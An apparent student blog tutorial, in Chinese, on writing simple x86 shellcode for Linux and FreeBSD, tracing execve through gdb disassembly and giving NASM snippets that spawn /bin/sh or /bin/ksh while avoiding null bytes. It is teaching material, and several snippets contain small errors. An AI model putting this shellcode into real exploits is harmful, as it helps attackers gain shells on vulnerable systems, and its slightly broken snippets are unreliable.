如何编写一个简单的shellcode

如何编写一个简单的shellcode

1、写在前面

​ 最近在准备《安全编程》的考试,感觉shellcode学起来懵懵的> <但是!!!身为一个信息安全专业的学生,不会写shellcode简直就是死咸鱼啊!Shellcode是探测到漏洞时执行的代码,是漏洞利用时十分重要的一块内容~请跟本咸鱼一起来学习一个[围笑]。

2、系统调用函数execve

示例代码1:

1
2
3
4
5
6
7
8
9
//shellcode.c
#include<unistd.h>
int main(int argc, char* argv[]) {
char* name[2];
name[0] = "bin/ksh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}

​ *通过系统调用execve函数来返回shell。

​ 从上述程序中可以看出,在c语言中调用execve函数来返回shell时,需要包含相应的头文件,在主函数中调用execve函数,同时传入三个参数。

execve函数的介绍:

​ execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve是内核级调用函数。

函数定义 int execve(const char filename, char const argv[], char* const envp[])

返回值 执行成功时没有返回值,执行失败时的返回值为-1.

函数说明 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用数组指针来传递给执行文件,并且需要以NULL指针结束,最后一个参数则为传递给执行文件的新环境变量数组。

示例代码2:

1
2
3
4
5
6
#include<unistd.h>
int main() {
char* argv[] = {"ls", "-al", "/etc/passwd", NULL};
char* envp[] = {"PATH = /bin", NULL};
execve("/bin/ls", argv, envp);
}

​ 上述代码实现的功能:与在bin目录下执行 ls -al /etc/passwd 是相同的。

​ 通过在http://syscalls.kernelgrok.com查询到的系统调用表,可以获得sys_execve函数的相关信息:

​ execve函数的系统调用号为11,对应的寄存器中保留的参数值分别为:eax:0x0b(11!); ebx:char _user*; ecx:char _user* user*; edx:char _user* user*; esi:struct pt_regs *; edi:—-。

3、用汇编语言来编写shellcode

​ 通过反编译获得的汇编代码来研究如何用汇编语言编写shellcode。

​ 对示例代码1进行如下操作:

​ 1、编译所编写的代码。

1
[scz@ /home/scz/src]> gcc -o shellcode –g gdb -static shellcode.c

​ 2、用gdb调试执行代码,对main进行反汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[scz@ /home/scz/src]> gdb shellcode
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main <-- -- -- 输入
Dump of assembler code for function main:
0x80481a0 : pushl %ebp
0x80481a1 : movl %esp,%ebp //设置新的栈底
0x80481a3 : subl $0x8,%esp //设置新的栈顶
0x80481a6 : movl $0x806f308,0xfffffff8(%ebp) //name[0]的地址
0x80481ad : movl $0x0,0xfffffffc(%ebp) //name[1]的地址
0x80481b4 : pushl $0x0 //压入execve的第3个参数
0x80481b6 : leal 0xfffffff8(%ebp),%eax
0x80481b9 : pushl %eax //压入execve的第2个参数
0x80481ba : movl 0xfffffff8(%ebp),%eax
0x80481bd : pushl %eax //压入execve的第1个参数
0x80481be : call 0x804b9b0 <__execve> //调用execve
0x80481c3 : addl $0xc,%esp //恢复栈顶
0x80481c6 : xorl %eax,%eax
0x80481c8 : jmp 0x80481d0
0x80481ca : leal 0x0(%esi),%esi
0x80481d0 : leave //释放当前子程序在堆栈中的局部变量
0x80481d1 : ret
End of assembler dump.

​ 3、对execve函数进行反汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) disas __execve <-- -- -- 输入
Dump of assembler code for function __execve:
0x804b9b0 <__execve>: pushl %ebx
0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx
0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx
0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx
0x804b9bd <__execve+13>: movl $0xb,%eax
0x804b9c2 <__execve+18>: int $0x80
0x804b9c4 <__execve+20>: popl %ebx
0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax
0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>
0x804b9d0 <__execve+32>: ret
End of assembler dump.

​ 4、研究main函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0x80481a0 :	pushl  %ebp # 保存原来的栈基指针
# 栈基指针与堆栈指针不是一个概念
# 栈基指针对应栈底,堆栈指针对应栈顶
0x80481a1 : movl %esp,%ebp # 修改得到新的栈基指针
# 与在dos下汇编格式不一样
# 这个语句是说把esp的值赋给ebp
# 而在dos下,正好是反过来的,一定要注意
0x80481a3 : subl $0x8,%esp # 堆栈指针向栈顶移动八个字节
# 用于分配局部变量的存储空间
# 这里具体就是给 char * name[2] 预留空间
# 因为每个字符指针占用4个字节,总共两个指针
0x80481a6 : movl $0x806f308,0xfffffff8(%ebp) # 将字符串"/bin/ksh"的地址拷贝到name[0]
# name[0] = "/bin/ksh";
# 0xfffffff8(%ebp) 就是 ebp - 8 的意思
# 注意堆栈的增长方向以及局部变量的分配方向
# 先分配name[0]后分配name[1]的空间
0x80481ad : movl $0x0,0xfffffffc(%ebp) # 将NULL拷贝到name[1]
# name[1] = NULL;
0x80481b4 : pushl $0x0 # 按从右到左的顺序将execve()的三个参数依次压栈
# 首先压入 NULL (第三个参数)
# 注意pushl将压入一个四字节长的0
0x80481b6 : leal 0xfffffff8(%ebp),%eax # 将 ebp - 8 本身放入eax寄存器中
# leal的意思是取地址,而不是取值
0x80481b9 : pushl %eax # 其次压入 name
0x80481ba : movl 0xfffffff8(%ebp),%eax
0x80481bd : pushl %eax # 将 ebp - 8 本身放入eax寄存器中
# 最后压入 name[0]
# 即 "/bin/ksh" 字符串的地址
0x80481be : call 0x804b9b0 <__execve> # 开始调用 execve()
# call指令首先会将返回地址压入堆栈
0x80481c3 : addl $0xc,%esp # esp + 12
# 释放为了调用 execve() 而压入堆栈的内容
0x80481c6 : xorl %eax,%eax
0x80481c8 : jmp 0x80481d0
0x80481ca : leal 0x0(%esi),%esi
0x80481d0 : leave
0x80481d1 : ret

​ 5、研究execve函数的汇编代码。Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int
$0x80)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x804b9b0 <__execve>:   pushl  %ebx  # ebx压栈
0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx # 把 esp + 16 本身赋给edx
# 为什么是16,因为栈顶现在是ebx
# 下面依次是返回地址、name[0]、name、NULL
# edx --> NULL
0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx # 把 esp + 12 本身赋给 ecx
# ecx --> name
# 命令的参数数组,包括命令自己
0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx # 把 esp + 8 本身赋给 ebx
# ebx --> name[0]
# 命令本身,"/bin/ksh"
0x804b9bd <__execve+13>: movl $0xb,%eax # 设置eax为0xb,这是syscall表中的索引
# 0xb对应execve
0x804b9c2 <__execve+18>: int $0x80 # 软件中断,转入kernel模式
0x804b9c4 <__execve+20>: popl %ebx # 恢复ebx
0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax
0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>
# 判断返回值,报告可能的系统调用错误
0x804b9d0 <__execve+32>: ret # execve() 调用返回
# 该指令会用压在堆栈中的返回地址

​ Shellcode的开发过程:

​ 从上面的分析可以看出,完成execve() 系统调用,我们所要做的不过是这么几项而已:

      a) 在内存中有以NULL结尾的字符串"/bin/ksh"

​ b) 在内存中有”/bin/ksh”的地址,其后是一个 unsigned long 型的NULL值

​ c) 将0xb拷贝到寄存器EAX中

​ d) 将”/bin/ksh”的地址拷贝到寄存器EBX中

​ e) 将”/bin/ksh”地址的地址拷贝到寄存器ECX中

​ f) 将 NULL 拷贝到寄存器EDX中

​ g) 执行中断指令int $0x80

 如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据是随机的,通常这个程序会coredump。我们希望如果execve调用失败的话,程序可以正常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:
1
2
3
4
//shellcode_exit.c
int main (){
exit(0);
}

​ 汇编语言代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[scz@ /home/scz/src]> gcc -o shellcode_exit -static shellcode_exit.c
[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit <-- -- -- 输入
Dump of assembler code for function _exit:
0x804b970 <_exit>: movl %ebx,%edx
0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx
0x804b976 <_exit+6>: movl $0x1,%eax
0x804b97b <_exit+11>: int $0x80
0x804b97d <_exit+13>: movl %edx,%ebx
0x804b97f <_exit+15>: cmpl $0xfffff001,%eax
0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>
End of assembler dump.

​ 我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放入EBX中,然后执行”int$0x80”。大部分程序正常退出时返回0值,我们也在EBX中放入0。

​ 现在我们所要完成的工作又增加了三项:

​ h) 将0x1拷贝到寄存器EAX中

        i) 将0x0拷贝到寄存器EBX中

        j) 执行中断指令int $0x80

​ 同时,要注意不能出现0x00,要避免中途被截断。理清任务之后,可以很容易地用汇编语言写出shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f ;压入"//sh"
push 0x6e69622f ;压入"/bin"
mov ebx,esp ;将字符串的地址存入ebx
push eax ;压入"0x00"
push ebx ;压入字符串"/bin//sh"的地址
mov ecx,esp ;将指针数组地址存入ecx
xor edx,edx ;[edx] = 0
mov al,0xb ;将11写入eax,execve的系统调用号
int 0x80
mov al,0x1
xor ebx,ebx
int 0x80

​ 根据之前int 0x80中断指令调用形式,要求eax存放系统调用号;ebx、ecx、edx分别存放参数部分。

​ 汇编源码中,首先是第4行eax清零;之后第5行压栈;然后第6行,第7行字符串压栈,这样在栈中就构造了以”\x00”结尾的字符串”/bin//sh”。注意这里的“/bin//sh”与“/bin/sh”同样效果。此时的ESP指针指向了这个字符串首地址,第8行将该首地址赋给ebx,这样就有了int 0x80中断指令的第一个参数ebx;第9行中eax入栈,此时eax值还是0;第10行ebx入栈也就是把字符串”/bin//sh”地址入栈,两次压栈,此时栈中就有了字符串地址和一个0,刚好构成了一个指针数组;第11行将该指针数组的地址也就是esp赋给ecx,系统调用的第2个参数ecx中就保持了指针数组的地址;第12行edx清零,刚好是系统调用的第3个参数为零。第13行将系统调用号0xB赋给al,这样可以避免出现坏字符。最后调用软中断指令执行。

4、练习和示例

*FreeBSD 堆栈 ;Linux 寄存器

1、编写如下c语言程序对应的shellcode:

1
2
3
4
int main() {
wirte(1, "hello, world\n",15);
exit(0);
}

​ jmp/call方法,FreeBSD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
global _start
_start:
xor eax, eax
jmp short string
code:
pop esi
push byte 15
push esi
push byte 1
mov al,4
push eax
int 0x80
xor eax,eax
push eax
push eax
mov al,1
int 0x80
string:
call code
db "hello, world!", 0x0a

2、编写如下c语言程序对应的shellcode:

1
2
3
int main() {
execve("/bin/sh",0,0);
}

​ push方法,FreeBSD

1
2
3
4
5
6
7
8
9
10
11
12
BITS 32
xor eax,eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx,esp
push eax
push eax
push ebx
mov al,59
push eax
int 80h

3、在Linux环境下分别用jmp/call方法和push方法各写一个汇编程序,完成如下c语言程序所要完成的功能,以便形成对应的shellcode。

1
2
3
int main(void) {
execve("/bin/ksh",0,0);
}

​ push方法:

1
2
3
4
5
6
7
8
9
10
BITS 32
xor eax,eax
xor edx,edx
push eax
push "/ksh"
push "/bin"
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80

​ jmp/call方法:

1
2
3
4
5
6
7
8
9
10
11
12
BITS 32
xor eax,eax
jmp short string
code:
pop ebx
xor ecx,ecx
xor edx,edx
mov al,0xb
int 0x80
string:
call code
db "/bin/ksh" 0x0

4、汇编语言直接编写shellcode(jmp/call方法,FreeBSD环境下)执行:

1
2
3
4
5
6
7
8
int main() {
char *command="/bin/sh";
char *args[2];
args[0]=command;
args[1]=0;
execve(command,args,0);
}
//第一个参数是字符串"/bin/sh"的地址

​ jmp/call方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
global _start
_start:
xor eax, eax
jmp short string
code:
pop esi
push eax
push esi
push esi
mov al,0xb
push eax
int 0x80
xor eax,eax
push eax
push eax
mov al,1
int 0x80
string:
call code
db "/bin/sh", 0x0